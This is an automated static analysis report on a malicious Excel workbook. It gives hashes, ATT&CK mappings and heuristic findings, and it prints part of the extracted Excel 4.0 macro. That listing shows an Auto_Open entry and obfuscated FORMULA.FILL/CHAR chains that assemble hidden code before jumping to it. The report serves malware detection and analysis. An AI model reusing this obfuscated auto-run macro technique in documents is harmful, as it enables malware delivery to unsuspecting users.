Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77af45db8e359b01…

MALICIOUS

Office (OLE)

172.5 KB Created: 2020-05-12 10:37:47 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 212b71e588b4da3f7d1b8c76a605684f SHA-1: 335856a651464fb26539075a977e78f3942fcc94 SHA-256: 77af45db8e359b017eec6e321babf069a45d6a4cf64266977397b82832e815df
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macros utilize dangerous functions such as RUN (34) and another identified as formula 42, indicating an attempt to execute arbitrary code. The presence of these functions and the Auto_Open entry strongly suggests a malicious intent to compromise the system.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 129352 bytes
SHA-256: 1e25dadb88301899381ac4c58c4eaadf0c04f2c3891af7ca75fca24668e724b0
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!DF13463 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,HY15,"",86.62500000000000000000
'  Sheet,BI33,"",-1.41176470588235303261
'  Sheet,ES34,"",4.30612244897959151047
'  Sheet,IA68,"",0.03711533944092083870
'  Sheet,GP78,"",-570.00000000000000000000
'  Sheet,HE107,"",-146.19999999999998863132
'  Sheet,CS114,"",124.62500000000000000000
'  Sheet,GN193,"",128.00000000000000000000
'  Sheet,DQ202,"",83.62500000000000000000
'  Sheet,GV236,"",-509.00000000000000000000
'  Sheet,BD244,"",-67.50000000000000000000
'  Sheet,HD258,"",-76.40000000000000568434
'  Sheet,BH272,"",-715.40062499999999090505
'  Sheet,IS286,"",738.40062499999999090505
'  Sheet,FE330,"",-97.50000000000000000000
'  Sheet,C367,"",9.54146341463414593420
'  Sheet,GQ367,"",-86.50000000000000000000
'  Sheet,DN371,"",-1.92982456140350877583
'  Sheet,EX384,"",34.79999999999999715783
'  Sheet,CT427,"",0.24078091106290672174
'  Sheet,BZ485,"",88.62500000000000000000
'  Sheet,W491,"",99.00000000000000000000
'  Sheet,T531,"",62.60294117647058698140
'  Sheet,CR547,"",-2027.50000000000000000000
'  Sheet,BP550,"",-378.00000000000000000000
'  Sheet,JU551,"",-1.02083333333333325932
'  Sheet,FR585,"",0.58131487889273358860
'  Sheet,BJ613,"",-1.21276595744680859568
'  Sheet,P624,"",526.00000000000000000000
'  Sheet,EE787,"",2060.50000000000000000000
'  Sheet,JU827,"",-593.00000000000000000000
'  Sheet,GT858,"",0.73248507643312099624
'  Sheet,C906,"FORMULA.FILL(CHAR(EX32703-CR50446)&CHAR(JT41536+CD47027)&CHAR(JT41536+DJ50708)&CHAR(ET27336-JC50160)&CHAR(ET27336+CV54291)&CHAR(HX9162/DC26709)&CHAR(HX9162/BH51327)&CHAR(HX9162*HH31023)&CHAR(DB39691+IZ50203)&CHAR(GY2016*CG38132)&CHAR(O23840-BP56370)&CHAR(JT41536/GZ14968)&CHAR(O23840*FX39960)&CHAR(EX32703/DR24608)&CHAR(JT41536-FZ18788)&CHAR(O23840/DN371)&CHAR(ET27336-GA14769)&CHAR(JT41536-IO53334)&CHAR(FG55524/CX51730)&CHAR(DB39691/JI3853)&CHAR(DR54804+BW25734)&CHAR(ET27336/IW42856)&CHAR(EX32703*FX32458)&CHAR(DB39691*HV34612)&CHAR(EX32703+DZ16650)&CHAR(EX32703/BV20895)&CHAR(ET27336/HL11021)&CHAR(DB39691+DM5435)&CHAR(JT41536-L53477)&CHAR(GY2016-EH52290)&CHAR(O23840/FK57809)&CHAR(JT41536+JQ27941)&CHAR(ET27336-GF36217)&CHAR(EX32703*FA43067)&CHAR(EX32703/GV38267)&CHAR(FG55524-FM62291)&CHAR(O23840*EP5989)&CHAR(ET27336-IT26008)&CHAR(ET27336+DA49041)&CHAR(FG55524/IF32601)&CHAR(FG55524*GV30684)&CHAR(ET27336-GI10493)&CHAR(GY2016+ID4099)&CHAR(O23840*HN37443)&CHAR(DB39691/FA28126)&CHAR(GY2016-EX52036)&CHAR(JT41536+IM52417)&CHAR(O23840/GY54394)&CHAR(HX9162/ET20035)&CHAR(JT41536+GQ30149)&CHAR(JT41536*O22869)&CHAR(EX32703-BW55399)&CHAR(FG55524+EE39242)&CHAR(FZ36788+IS37324)&CHAR(EX32703/FC2508)&CHAR(EX32703*JM36413)&CHAR(DR54804*JJ61659)&CHAR(FG55524*GV11537)&CHAR(HX9162-GG24404)&CHAR(HX9162+IJ12627)&CHAR(ET27336+FX38423)&CHAR(ET27336*CE49269)&CHAR(EX32703+FS49751)&CHAR(DR54804/BX28648),B36600)",""
'  Sheet,C907,GOTO(IN8700),""
'  Sheet,X914,"",-99.00000000000000000000
'  Sheet,BO937,"",586.00000000000000000000
'  Sheet,L1120,"",-5.02702702702702719506
'  Sheet,CB1133,"",115.62500000000000000000
'  Sheet,FB1133,"FORMULA.FILL(CHAR(FG55524-EK21604)&CHAR(HX9162*FO2692)&CHAR(JT41536+ID57615)&CHAR(FG55524/DA1730)&CHAR(JT41536*HG29652)&CHAR(FG55524+BX7532)&CHAR(FG55524+CQ24301)&CHAR(FZ36788/BT14140)&CHAR(O23840*BR10805)&CHAR(EX32703+BS42256)&CHAR(ET27336*EQ8351)&CHAR(FZ36788/EV50587)&CHAR(FG55524-B32957)&CHAR(GY2016+GY51257)&CHAR(ET27336-GR50166)&CHAR(ET27336*EF5735)&CHAR(FZ36788*FP35234)&CHAR(GY2016-EC7583)&CHAR(O23840+BD48429)&CHAR(GY2016/IP32922)&CHAR(DR54804/CH54821)&CHAR(JT41536/IV46200)&CHAR(FG55524+GR35107)&CHAR(GY2016+GA59907)&CHAR(ET27336-FU38325)&CHAR(DB39691*EK63989)&CHAR(O23840*T18594)&CHAR(EX32703-BB45649)
... (truncated)

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